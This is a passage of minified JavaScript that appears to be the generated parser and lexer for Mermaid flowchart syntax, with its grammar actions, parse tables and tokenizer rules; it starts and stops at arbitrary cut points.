104:this.$={text:me[be],type:"markdown"};break;case 101:this.$={text:me[be],type:"text"};break;case 102:this.$={text:me[be-1].text+""+me[be],type:me[be-1].type};break;case 103:this.$={text:me[be],type:"text"};break;case 105:this.$=me[be-4],ht.addClass(me[be-2],me[be]);break;case 106:this.$=me[be-4],ht.setClass(me[be-2],me[be]);break;case 107:case 115:this.$=me[be-1],ht.setClickEvent(me[be-1],me[be]);break;case 108:case 116:this.$=me[be-3],ht.setClickEvent(me[be-3],me[be-2]),ht.setTooltip(me[be-3],me[be]);break;case 109:this.$=me[be-2],ht.setClickEvent(me[be-2],me[be-1],me[be]);break;case 110:this.$=me[be-4],ht.setClickEvent(me[be-4],me[be-3],me[be-2]),ht.setTooltip(me[be-4],me[be]);break;case 111:this.$=me[be-2],ht.setLink(me[be-2],me[be]);break;case 112:this.$=me[be-4],ht.setLink(me[be-4],me[be-2]),ht.setTooltip(me[be-4],me[be]);break;case 113:this.$=me[be-4],ht.setLink(me[be-4],me[be-2],me[be]);break;case 114:this.$=me[be-6],ht.setLink(me[be-6],me[be-4],me[be]),ht.setTooltip(me[be-6],me[be-2]);break;case 117:this.$=me[be-1],ht.setLink(me[be-1],me[be]);break;case 118:this.$=me[be-3],ht.setLink(me[be-3],me[be-2]),ht.setTooltip(me[be-3],me[be]);break;case 119:this.$=me[be-3],ht.setLink(me[be-3],me[be-2],me[be]);break;case 120:this.$=me[be-5],ht.setLink(me[be-5],me[be-4],me[be]),ht.setTooltip(me[be-5],me[be-2]);break;case 121:this.$=me[be-4],ht.addVertex(me[be-2],void 0,void 0,me[be]);break;case 122:this.$=me[be-4],ht.updateLink([me[be-2]],me[be]);break;case 123:this.$=me[be-4],ht.updateLink(me[be-2],me[be]);break;case 124:this.$=me[be-8],ht.updateLinkInterpolate([me[be-6]],me[be-2]),ht.updateLink([me[be-6]],me[be]);break;case 125:this.$=me[be-8],ht.updateLinkInterpolate(me[be-6],me[be-2]),ht.updateLink(me[be-6],me[be]);break;case 126:this.$=me[be-6],ht.updateLinkInterpolate([me[be-4]],me[be]);break;case 127:this.$=me[be-6],ht.updateLinkInterpolate(me[be-4],me[be]);break;case 128:case 130:this.$=[me[be]];break;case 129:case 131:me[be-2].push(me[be]),this.$=me[be-2];break;case 133:this.$=me[be-1]+me[be];break;case 181:this.$=me[be];break;case 182:this.$=me[be-1]+""+me[be];break;case 184:this.$=me[be-1]+""+me[be];break;case 185:this.$={stmt:"dir",value:"TB"};break;case 186:this.$={stmt:"dir",value:"BT"};break;case 187:this.$={stmt:"dir",value:"RL"};break;case 188:this.$={stmt:"dir",value:"LR"};break}},"anonymous"),table:[{3:1,4:2,9:e,10:r,12:n},{1:[3]},t(i,a,{5:6}),{4:7,9:e,10:r,12:n},{4:8,9:e,10:r,12:n},{13:[1,9],14:[1,10]},{1:[2,1],6:11,7:12,8:s,9:l,10:u,11:h,20:17,22:18,23:19,24:20,25:21,26:22,27:f,33:24,34:d,36:p,38:m,42:28,43:38,44:g,45:39,47:40,60:y,84:v,85:x,86:b,87:T,88:S,89:w,102:k,105:A,106:C,109:R,111:I,113:41,114:L,115:E,116:D,121:_,122:O,123:M,124:P},t(i,[2,9]),t(i,[2,10]),t(i,[2,11]),{8:[1,54],9:[1,55],10:B,15:53,18:56},t(F,[2,3]),t(F,[2,4]),t(F,[2,5]),t(F,[2,6]),t(F,[2,7]),t(F,[2,8]),{8:G,9:$,11:U,21:58,41:59,72:63,75:[1,64],77:[1,66],78:[1,65]},{8:G,9:$,11:U,21:67},{8:G,9:$,11:U,21:68},{8:G,9:$,11:U,21:69},{8:G,9:$,11:U,21:70},{8:G,9:$,11:U,21:71},{8:G,9:$,10:[1,72],11:U,21:73},t(F,[2,36]),{35:[1,74]},{37:[1,75]},t(F,[2,39]),t(j,[2,50],{18:76,39:77,10:B,40:te}),{10:[1,79]},{10:[1,80]},{10:[1,81]},{10:[1,82]},{14:Y,44:oe,60:J,80:[1,86],89:ue,95:[1,83],97:[1,84],101:85,105:re,106:ee,109:Z,111:K,114:ae,115:Q,116:de,120:87},t(F,[2,185]),t(F,[2,186]),t(F,[2,187]),t(F,[2,188]),t(ne,[2,51]),t(ne,[2,54],{46:[1,99]}),t(Te,[2,72],{113:112,29:[1,100],44:g,48:[1,101],50:[1,102],52:[1,103],54:[1,104],56:[1,105],58:[1,106],60:y,63:[1,107],65:[1,108],67:[1,109],68:[1,110],70:[1,111],89:w,102:k,105:A,106:C,109:R,111:I,114:L,115:E,116:D}),t(q,[2,181]),t(q,[2,142]),t(q,[2,143]),t(q,[2,144]),t(q,[2,145]),t(q,[2,146]),t(q,[2,147]),t(q,[2,148]),t(q,[2,149]),t(q,[2,150]),t(q,[2,151]),t(q,[2,152]),t(i,[2,12]),t(i,[2,18]),t(i,[2,19]),{9:[1,113]},t(Ve,[2,26],{18:114,10:B}),t(F,[2,27]),{42:115,43:38,44:g,45:39,47:40,60:y,89:w,102:k,105:A,106:C,109:R,111:I,113:41,114:L,115:E,116:D},t(F,[2,40]),t(F,[2,41]),t(F,[2,42]),t(pe,[2,76],{73:116,62:[1,118],74:[1,117]}),{76:119,79:120,80:Be,81:Ye,116:He,119:Le},{75:[1,125],77:[1,126]},t(Ie,[2,83]),t(F,[2,28]),t(F,[2,29]),t(F,[2,30]),t(F,[2,31]),t(F,[2,32]),{10:Ne,12:Ce,14:Fe,27:fe,28:127,32:xe,44:W,60:he,75:z,80:[1,129],81:[1,130],83:140,84:se,85:le,86:ke,87:ve,88:ye,89:Re,90:_e,91:128,105:ze,109:Ke,111:xt,114:We,115:Oe,116:et},t(Ue,a,{5:153}),t(F,[2,37]),t(F,[2,38]),t(j,[2,48],{44:lt}),t(j,[2,49],{18:155,10:B,40:Gt}),t(ne,[2,44]),{44:g,47:157,60:y,89:w,102:k,105:A,106:C,109:R,111:I,113:41,114:L,115:E,116:D},{102:[1,158],103:159,105:[1,160]},{44:g,47:161,60:y,89:w,102:k,105:A,106:C,109:R,111:I,113:41,114:L,115:E,116:D},{44:g,47:162,60:y,89:w,102:k,105:A,106:C,109:R,111:I,113:41,114:L,115:E,116:D},t(vt,[2,107],{10:[1,163],96:[1,164]}),{80:[1,165]},t(vt,[2,115],{120:167,10:[1,166],14:Y,44:oe,60:J,89:ue,105:re,106:ee,109:Z,111:K,114:ae,115:Q,116:de}),t(vt,[2,117],{10:[1,168]}),t(Lt,[2,183]),t(Lt,[2,170]),t(Lt,[2,171]),t(Lt,[2,172]),t(Lt,[2,173]),t(Lt,[2,174]),t(Lt,[2,175]),t(Lt,[2,176]),t(Lt,[2,177]),t(Lt,[2,178]),t(Lt,[2,179]),t(Lt,[2,180]),{44:g,47:169,60:y,89:w,102:k,105:A,106:C,109:R,111:I,113:41,114:L,115:E,116:D},{30:170,67:dt,80:nt,81:bt,82:171,116:wt,117:yt,118:ft},{30:178,67:dt,80:nt,81:bt,82:171,116:wt,117:yt,118:ft},{30:180,50:[1,179],67:dt,80:nt,81:bt,82:171,116:wt,117:yt,118:ft},{30:181,67:dt,80:nt,81:bt,82:171,116:wt,117:yt,118:ft},{30:182,67:dt,80:nt,81:bt,82:171,116:wt,117:yt,118:ft},{30:183,67:dt,80:nt,81:bt,82:171,116:wt,117:yt,118:ft},{109:[1,184]},{30:185,67:dt,80:nt,81:bt,82:171,116:wt,117:yt,118:ft},{30:186,65:[1,187],67:dt,80:nt,81:bt,82:171,116:wt,117:yt,118:ft},{30:188,67:dt,80:nt,81:bt,82:171,116:wt,117:yt,118:ft},{30:189,67:dt,80:nt,81:bt,82:171,116:wt,117:yt,118:ft},{30:190,67:dt,80:nt,81:bt,82:171,116:wt,117:yt,118:ft},t(q,[2,182]),t(i,[2,20]),t(Ve,[2,25]),t(j,[2,46],{39:191,18:192,10:B,40:te}),t(pe,[2,73],{10:[1,193]}),{10:[1,194]},{30:195,67:dt,80:nt,81:bt,82:171,116:wt,117:yt,118:ft},{77:[1,196],79:197,116:He,119:Le},t(Ur,[2,79]),t(Ur,[2,81]),t(Ur,[2,82]),t(Ur,[2,168]),t(Ur,[2,169]),{76:198,79:120,80:Be,81:Ye,116:He,119:Le},t(Ie,[2,84]),{8:G,9:$,10:Ne,11:U,12:Ce,14:Fe,21:200,27:fe,29:[1,199],32:xe,44:W,60:he,75:z,83:140,84:se,85:le,86:ke,87:ve,88:ye,89:Re,90:_e,91:201,105:ze,109:Ke,111:xt,114:We,115:Oe,116:et},t(_t,[2,101]),t(_t,[2,103]),t(_t,[2,104]),t(_t,[2,157]),t(_t,[2,158]),t(_t,[2,159]),t(_t,[2,160]),t(_t,[2,161]),t(_t,[2,162]),t(_t,[2,163]),t(_t,[2,164]),t(_t,[2,165]),t(_t,[2,166]),t(_t,[2,167]),t(_t,[2,90]),t(_t,[2,91]),t(_t,[2,92]),t(_t,[2,93]),t(_t,[2,94]),t(_t,[2,95]),t(_t,[2,96]),t(_t,[2,97]),t(_t,[2,98]),t(_t,[2,99]),t(_t,[2,100]),{6:11,7:12,8:s,9:l,10:u,11:h,20:17,22:18,23:19,24:20,25:21,26:22,27:f,32:[1,202],33:24,34:d,36:p,38:m,42:28,43:38,44:g,45:39,47:40,60:y,84:v,85:x,86:b,87:T,88:S,89:w,102:k,105:A,106:C,109:R,111:I,113:41,114:L,115:E,116:D,121:_,122:O,123:M,124:P},{10:B,18:203},{44:[1,204]},t(ne,[2,43]),{10:[1,205],44:g,60:y,89:w,102:k,105:A,106:C,109:R,111:I,113:112,114:L,115:E,116:D},{10:[1,206]},{10:[1,207],106:[1,208]},t(bn,[2,128]),{10:[1,209],44:g,60:y,89:w,102:k,105:A,106:C,109:R,111:I,113:112,114:L,115:E,116:D},{10:[1,210],44:g,60:y,89:w,102:k,105:A,106:C,109:R,111:I,113:112,114:L,115:E,116:D},{80:[1,211]},t(vt,[2,109],{10:[1,212]}),t(vt,[2,111],{10:[1,213]}),{80:[1,214]},t(Lt,[2,184]),{80:[1,215],98:[1,216]},t(ne,[2,55],{113:112,44:g,60:y,89:w,102:k,105:A,106:C,109:R,111:I,114:L,115:E,116:D}),{31:[1,217],67:dt,82:218,116:wt,117:yt,118:ft},t(Br,[2,86]),t(Br,[2,88]),t(Br,[2,89]),t(Br,[2,153]),t(Br,[2,154]),t(Br,[2,155]),t(Br,[2,156]),{49:[1,219],67:dt,82:218,116:wt,117:yt,118:ft},{30:220,67:dt,80:nt,81:bt,82:171,116:wt,117:yt,118:ft},{51:[1,221],67:dt,82:218,116:wt,117:yt,118:ft},{53:[1,222],67:dt,82:218,116:wt,117:yt,118:ft},{55:[1,223],67:dt,82:218,116:wt,117:yt,118:ft},{57:[1,224],67:dt,82:218,116:wt,117:yt,118:ft},{60:[1,225]},{64:[1,226],67:dt,82:218,116:wt,117:yt,118:ft},{66:[1,227],67:dt,82:218,116:wt,117:yt,118:ft},{30:228,67:dt,80:nt,81:bt,82:171,116:wt,117:yt,118:ft},{31:[1,229],67:dt,82:218,116:wt,117:yt,118:ft},{67:dt,69:[1,230],71:[1,231],82:218,116:wt,117:yt,118:ft},{67:dt,69:[1,233],71:[1,232],82:218,116:wt,117:yt,118:ft},t(j,[2,45],{18:155,10:B,40:Gt}),t(j,[2,47],{44:lt}),t(pe,[2,75]),t(pe,[2,74]),{62:[1,234],67:dt,82:218,116:wt,117:yt,118:ft},t(pe,[2,77]),t(Ur,[2,80]),{77:[1,235],79:197,116:He,119:Le},{30:236,67:dt,80:nt,81:bt,82:171,116:wt,117:yt,118:ft},t(Ue,a,{5:237}),t(_t,[2,102]),t(F,[2,35]),{43:238,44:g,45:39,47:40,60:y,89:w,102:k,105:A,106:C,109:R,111:I,113:41,114:L,115:E,116:D},{10:B,18:239},{10:cr,60:ar,84:_r,92:240,105:Ct,107:241,108:242,109:Se,110:at,111:Nt,112:wr},{10:cr,60:ar,84:_r,92:251,104:[1,252],105:Ct,107:241,108:242,109:Se,110:at,111:Nt,112:wr},{10:cr,60:ar,84:_r,92:253,104:[1,254],105:Ct,107:241,108:242,109:Se,110:at,111:Nt,112:wr},{105:[1,255]},{10:cr,60:ar,84:_r,92:256,105:Ct,107:241,108:242,109:Se,110:at,111:Nt,112:wr},{44:g,47:257,60:y,89:w,102:k,105:A,106:C,109:R,111:I,113:41,114:L,115:E,116:D},t(vt,[2,108]),{80:[1,258]},{80:[1,259],98:[1,260]},t(vt,[2,116]),t(vt,[2,118],{10:[1,261]}),t(vt,[2,119]),t(Te,[2,56]),t(Br,[2,87]),t(Te,[2,57]),{51:[1,262],67:dt,82:218,116:wt,117:yt,118:ft},t(Te,[2,64]),t(Te,[2,59]),t(Te,[2,60]),t(Te,[2,61]),{109:[1,263]},t(Te,[2,63]),t(Te,[2,65]),{66:[1,264],67:dt,82:218,116:wt,117:yt,118:ft},t(Te,[2,67]),t(Te,[2,68]),t(Te,[2,70]),t(Te,[2,69]),t(Te,[2,71]),t([10,44,60,89,102,105,106,109,111,114,115,116],[2,85]),t(pe,[2,78]),{31:[1,265],67:dt,82:218,116:wt,117:yt,118:ft},{6:11,7:12,8:s,9:l,10:u,11:h,20:17,22:18,23:19,24:20,25:21,26:22,27:f,32:[1,266],33:24,34:d,36:p,38:m,42:28,43:38,44:g,45:39,47:40,60:y,84:v,85:x,86:b,87:T,88:S,89:w,102:k,105:A,106:C,109:R,111:I,113:41,114:L,115:E,116:D,121:_,122:O,123:M,124:P},t(ne,[2,53]),{43:267,44:g,45:39,47:40,60:y,89:w,102:k,105:A,106:C,109:R,111:I,113:41,114:L,115:E,116:D},t(vt,[2,121],{106:Tn}),t(yn,[2,130],{108:269,10:cr,60:ar,84:_r,105:Ct,109:Se,110:at,111:Nt,112:wr}),t(sn,[2,132]),t(sn,[2,134]),t(sn,[2,135]),t(sn,[2,136]),t(sn,[2,137]),t(sn,[2,138]),t(sn,[2,139]),t(sn,[2,140]),t(sn,[2,141]),t(vt,[2,122],{106:Tn}),{10:[1,270]},t(vt,[2,123],{106:Tn}),{10:[1,271]},t(bn,[2,129]),t(vt,[2,105],{106:Tn}),t(vt,[2,106],{113:112,44:g,60:y,89:w,102:k,105:A,106:C,109:R,111:I,114:L,115:E,116:D}),t(vt,[2,110]),t(vt,[2,112],{10:[1,272]}),t(vt,[2,113]),{98:[1,273]},{51:[1,274]},{62:[1,275]},{66:[1,276]},{8:G,9:$,11:U,21:277},t(F,[2,34]),t(ne,[2,52]),{10:cr,60:ar,84:_r,105:Ct,107:278,108:242,109:Se,110:at,111:Nt,112:wr},t(sn,[2,133]),{14:Y,44:oe,60:J,89:ue,101:279,105:re,106:ee,109:Z,111:K,114:ae,115:Q,116:de,120:87},{14:Y,44:oe,60:J,89:ue,101:280,105:re,106:ee,109:Z,111:K,114:ae,115:Q,116:de,120:87},{98:[1,281]},t(vt,[2,120]),t(Te,[2,58]),{30:282,67:dt,80:nt,81:bt,82:171,116:wt,117:yt,118:ft},t(Te,[2,66]),t(Ue,a,{5:283}),t(yn,[2,131],{108:269,10:cr,60:ar,84:_r,105:Ct,109:Se,110:at,111:Nt,112:wr}),t(vt,[2,126],{120:167,10:[1,284],14:Y,44:oe,60:J,89:ue,105:re,106:ee,109:Z,111:K,114:ae,115:Q,116:de}),t(vt,[2,127],{120:167,10:[1,285],14:Y,44:oe,60:J,89:ue,105:re,106:ee,109:Z,111:K,114:ae,115:Q,116:de}),t(vt,[2,114]),{31:[1,286],67:dt,82:218,116:wt,117:yt,118:ft},{6:11,7:12,8:s,9:l,10:u,11:h,20:17,22:18,23:19,24:20,25:21,26:22,27:f,32:[1,287],33:24,34:d,36:p,38:m,42:28,43:38,44:g,45:39,47:40,60:y,84:v,85:x,86:b,87:T,88:S,89:w,102:k,105:A,106:C,109:R,111:I,113:41,114:L,115:E,116:D,121:_,122:O,123:M,124:P},{10:cr,60:ar,84:_r,92:288,105:Ct,107:241,108:242,109:Se,110:at,111:Nt,112:wr},{10:cr,60:ar,84:_r,92:289,105:Ct,107:241,108:242,109:Se,110:at,111:Nt,112:wr},t(Te,[2,62]),t(F,[2,33]),t(vt,[2,124],{106:Tn}),t(vt,[2,125],{106:Tn})],defaultActions:{},parseError:o(function(it,kt){if(kt.recoverable)this.trace(it);else{var jt=new Error(it);throw jt.hash=kt,jt}},"parseError"),parse:o(function(it){var kt=this,jt=[0],ht=[],Dr=[null],me=[],Yl=this.table,be="",jr=0,V4=0,XC=0,jC=2,Gz=1,$3e=me.slice.call(arguments,1),qi=Object.create(this.lexer),ad={yy:{}};for(var KC in this.yy)Object.prototype.hasOwnProperty.call(this.yy,KC)&&(ad.yy[KC]=this.yy[KC]);qi.setInput(it,ad.yy),ad.yy.lexer=qi,ad.yy.parser=this,typeof qi.yylloc>"u"&&(qi.yylloc={});var QC=qi.yylloc;me.push(QC);var z3e=qi.options&&qi.options.ranges;typeof ad.yy.parseError=="function"?this.parseError=ad.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function Pat(Js){jt.length=jt.length-2*Js,Dr.length=Dr.length-Js,me.length=me.length-Js}o(Pat,"popStack");function G3e(){var Js;return Js=ht.pop()||qi.lex()||Gz,typeof Js!="number"&&(Js instanceof Array&&(ht=Js,Js=ht.pop()),Js=kt.symbols_[Js]||Js),Js}o(G3e,"lex");for(var Xa,ZC,sd,ko,Bat,JC,g0={},U4,iu,Vz,H4;;){if(sd=jt[jt.length-1],this.defaultActions[sd]?ko=this.defaultActions[sd]:((Xa===null||typeof Xa>"u")&&(Xa=G3e()),ko=Yl[sd]&&Yl[sd][Xa]),typeof ko>"u"||!ko.length||!ko[0]){var e7="";H4=[];for(U4 in Yl[sd])this.terminals_[U4]&&U4>jC&&H4.push("'"+this.terminals_[U4]+"'");qi.showPosition?e7="Parse error on line "+(jr+1)+`: +`+qi.showPosition()+` +Expecting `+H4.join(", ")+", got '"+(this.terminals_[Xa]||Xa)+"'":e7="Parse error on line "+(jr+1)+": Unexpected "+(Xa==Gz?"end of input":"'"+(this.terminals_[Xa]||Xa)+"'"),this.parseError(e7,{text:qi.match,token:this.terminals_[Xa]||Xa,line:qi.yylineno,loc:QC,expected:H4})}if(ko[0]instanceof Array&&ko.length>1)throw new Error("Parse Error: multiple actions possible at state: "+sd+", token: "+Xa);switch(ko[0]){case 1:jt.push(Xa),Dr.push(qi.yytext),me.push(qi.yylloc),jt.push(ko[1]),Xa=null,ZC?(Xa=ZC,ZC=null):(V4=qi.yyleng,be=qi.yytext,jr=qi.yylineno,QC=qi.yylloc,XC>0&&XC--);break;case 2:if(iu=this.productions_[ko[1]][1],g0.$=Dr[Dr.length-iu],g0._$={first_line:me[me.length-(iu||1)].first_line,last_line:me[me.length-1].last_line,first_column:me[me.length-(iu||1)].first_column,last_column:me[me.length-1].last_column},z3e&&(g0._$.range=[me[me.length-(iu||1)].range[0],me[me.length-1].range[1]]),JC=this.performAction.apply(g0,[be,V4,jr,ad.yy,ko[1],Dr,me].concat($3e)),typeof JC<"u")return JC;iu&&(jt=jt.slice(0,-1*iu*2),Dr=Dr.slice(0,-1*iu),me=me.slice(0,-1*iu)),jt.push(this.productions_[ko[1]][0]),Dr.push(g0.$),me.push(g0._$),Vz=Yl[jt[jt.length-2]][jt[jt.length-1]],jt.push(Vz);break;case 3:return!0}}return!0},"parse")},Zs=(function(){var fr={EOF:1,parseError:o(function(kt,jt){if(this.yy.parser)this.yy.parser.parseError(kt,jt);else throw new Error(kt)},"parseError"),setInput:o(function(it,kt){return this.yy=kt||this.yy||{},this._input=it,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var it=this._input[0];this.yytext+=it,this.yyleng++,this.offset++,this.match+=it,this.matched+=it;var kt=it.match(/(?:\r\n?|\n).*/g);return kt?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),it},"input"),unput:o(function(it){var kt=it.length,jt=it.split(/(?:\r\n?|\n)/g);this._input=it+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-kt),this.offset-=kt;var ht=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),jt.length-1&&(this.yylineno-=jt.length-1);var Dr=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:jt?(jt.length===ht.length?this.yylloc.first_column:0)+ht[ht.length-jt.length].length-jt[0].length:this.yylloc.first_column-kt},this.options.ranges&&(this.yylloc.range=[Dr[0],Dr[0]+this.yyleng-kt]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(it){this.unput(this.match.slice(it))},"less"),pastInput:o(function(){var it=this.matched.substr(0,this.matched.length-this.match.length);return(it.length>20?"...":"")+it.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var it=this.match;return it.length<20&&(it+=this._input.substr(0,20-it.length)),(it.substr(0,20)+(it.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var it=this.pastInput(),kt=new Array(it.length+1).join("-");return it+this.upcomingInput()+` +`+kt+"^"},"showPosition"),test_match:o(function(it,kt){var jt,ht,Dr;if(this.options.backtrack_lexer&&(Dr={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(Dr.yylloc.range=this.yylloc.range.slice(0))),ht=it[0].match(/(?:\r\n?|\n).*/g),ht&&(this.yylineno+=ht.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:ht?ht[ht.length-1].length-ht[ht.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+it[0].length},this.yytext+=it[0],this.match+=it[0],this.matches=it,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(it[0].length),this.matched+=it[0],jt=this.performAction.call(this,this.yy,this,kt,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),jt)return jt;if(this._backtrack){for(var me in Dr)this[me]=Dr[me];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var it,kt,jt,ht;this._more||(this.yytext="",this.match="");for(var Dr=this._currentRules(),me=0;mekt[0].length)){if(kt=jt,ht=me,this.options.backtrack_lexer){if(it=this.test_match(jt,Dr[me]),it!==!1)return it;if(this._backtrack){kt=!1;continue}else return!1}else if(!this.options.flex)break}return kt?(it=this.test_match(kt,Dr[ht]),it!==!1?it:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var kt=this.next();return kt||this.lex()},"lex"),begin:o(function(kt){this.conditionStack.push(kt)},"begin"),popState:o(function(){var kt=this.conditionStack.length-1;return kt>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(kt){return kt=this.conditionStack.length-1-Math.abs(kt||0),kt>=0?this.conditionStack[kt]:"INITIAL"},"topState"),pushState:o(function(kt){this.begin(kt)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{},performAction:o(function(kt,jt,ht,Dr){var me=Dr;switch(ht){case 0:return this.begin("acc_title"),34;break;case 1:return this.popState(),"acc_title_value";break;case 2:return this.begin("acc_descr"),36;break;case 3:return this.popState(),"acc_descr_value";break;case 4:this.begin("acc_descr_multiline");break;case 5:this.popState();break;case 6:return"acc_descr_multiline_value";case 7:return this.pushState("shapeData"),jt.yytext="",40;break;case 8:return this.pushState("shapeDataStr"),40;break;case 9:return this.popState(),40;break;case 10:let Yl=/\n\s*/g;return jt.yytext=jt.yytext.replace(Yl,"
    "),40;break;case 11:return 40;case 12:this.popState();break;case 13:this.begin("callbackname");break;case 14:this.popState();break;case 15:this.popState(),this.begin("callbackargs");break;case 16:return 95;case 17:this.popState();break;case 18:return 96;case 19:return"MD_STR";case 20:this.popState();break;case 21:this.begin("md_string");break;case 22:return"STR";case 23:this.popState();break;case 24:this.pushState("string");break;case 25:return 84;case 26:return 102;case 27:return 85;case 28:return 104;case 29:return 86;case 30:return 87;case 31:return 97;case 32:this.begin("click");break;case 33:this.popState();break;case 34:return 88;case 35:return kt.lex.firstGraph()&&this.begin("dir"),12;break;case 36:return kt.lex.firstGraph()&&this.begin("dir"),12;break;case 37:return kt.lex.firstGraph()&&this.begin("dir"),12;break;case 38:return 27;case 39:return 32;case 40:return 98;case 41:return 98;case 42:return 98;case 43:return 98;case 44:return this.popState(),13;break;case 45:return this.popState(),14;break;case 46:return this.popState(),14;break;case 47:return this.popState(),14;break;case 48:return this.popState(),14;break;case 49:return this.popState(),14;break;case 50:return this.popState(),14;break;case 51:return this.popState(),14;break;case 52:return this.popState(),14;break;case 53:return this.popState(),14;break;case 54:return this.popState(),14;break;case 55:return 121;case 56:return 122;case 57:return 123;case 58:return 124;case 59:return 78;case 60:return 105;case 61:return 111;case 62:return 46;case 63:return 60;case 64:return 44;case 65:return 8;case 66:return 106;case 67:return 115;case 68:return this.popState(),77;break;case 69:return this.pushState("edgeText"),75;break;case 70:return 119;case 71:return this.popState(),77;break;case 72:return this.pushState("thickEdgeText"),75;break;case 73:return 119;case 74:return this.popState(),77;break;case 75:return this.pushState("dottedEdgeText"),75;break;case 76:return 119;case 77:return 77;case 78:return this.popState(),53;break;case 79:return"TEXT";case 80:return this.pushState("ellipseText"),52;break;case 81:return this.popState(),55;break;case 82:return this.pushState("text"),54;break;case 83:return this.popState(),57;break;case 84:return this.pushState("text"),56;break;case 85:return 58;case 86:return this.pushState("text"),67;break;case 87:return this.popState(),64;break;case 88:return this.pushState("text"),63;break;case 89:return this.popState(),49;break;case 90:return this.pushState("text"),48;break;case 91:return this.popState(),69;break;case 92:return this.popState(),71;break;case 93:return 117;case 94:return this.pushState("trapText"),68;break;case 95:return this.pushState("trapText"),70;break;case 96:return 118;case 97:return 67;case 98:return 90;case 99:return"SEP";case 100:return 89;case 101:return 115;case 102:return 111;case 103:return 44;case 104:return 109;case 105:return 114;case 106:return 116;case 107:return this.popState(),62;break;case 108:return this.pushState("text"),62;break;case 109:return this.popState(),51;break;case 110:return this.pushState("text"),50;break;case 111:return this.popState(),31;break;case 112:return this.pushState("text"),29;break;case 113:return this.popState(),66;break;case 114:return this.pushState("text"),65;break;case 115:return"TEXT";case 116:return"QUOTE";case 117:return 9;case 118:return 10;case 119:return 11}},"anonymous"),rules:[/^(?:accTitle\s*:\s*)/,/^(?:(?!\n||)*[^\n]*)/,/^(?:accDescr\s*:\s*)/,/^(?:(?!\n||)*[^\n]*)/,/^(?:accDescr\s*\{\s*)/,/^(?:[\}])/,/^(?:[^\}]*)/,/^(?:@\{)/,/^(?:["])/,/^(?:["])/,/^(?:[^\"]+)/,/^(?:[^}^"]+)/,/^(?:\})/,/^(?:call[\s]+)/,/^(?:\([\s]*\))/,/^(?:\()/,/^(?:[^(]*)/,/^(?:\))/,/^(?:[^)]*)/,/^(?:[^`"]+)/,/^(?:[`]["])/,/^(?:["][`])/,/^(?:[^"]+)/,/^(?:["])/,/^(?:["])/,/^(?:style\b)/,/^(?:default\b)/,/^(?:linkStyle\b)/,/^(?:interpolate\b)/,/^(?:classDef\b)/,/^(?:class\b)/,/^(?:href[\s])/,/^(?:click[\s]+)/,/^(?:[\s\n])/,/^(?:[^\s\n]*)/,/^(?:flowchart-elk\b)/,/^(?:graph\b)/,/^(?:flowchart\b)/,/^(?:subgraph\b)/,/^(?:end\b\s*)/,/^(?:_self\b)/,/^(?:_blank\b)/,/^(?:_parent\b)/,/^(?:_top\b)/,/^(?:(\r?\n)*\s*\n)/,/^(?:\s*LR\b)/,/^(?:\s*RL\b)/,/^(?:\s*TB\b)/,/^(?:\s*BT\b)/,/^(?:\s*TD\b)/,/^(?:\s*BR\b)/,/^(?:\s*<)/,/^(?:\s*>)/,/^(?:\s*\^)/,/^(?:\s*v\b)/,/^(?:.*direction\s+TB[^\n]*)/,/^(?:.*direction\s+BT[^\n]*)/,/^(?:.*direction\s+RL[^\n]*)/,/^(?:.*direction\s+LR[^\n]*)/,/^(?:[^\s\"]+@(?=[^\{\"]))/,/^(?:[0-9]+)/,/^(?:#)/,/^(?::::)/,/^(?::)/,/^(?:&)/,/^(?:;)/,/^(?:,)/,/^(?:\*)/,/^(?:\s*[xo<]?--+[-xo>]\s*)/,/^(?:\s*[xo<]?--\s*)/,/^(?:[^-]|-(?!-)+)/,/^(?:\s*[xo<]?==+[=xo>]\s*)/,/^(?:\s*[xo<]?==\s*)/,/^(?:[^=]|=(?!))/,/^(?:\s*[xo<]?-?\.+-[xo>]?\s*)/,/^(?:\s*[xo<]?-\.\s*)/,/^(?: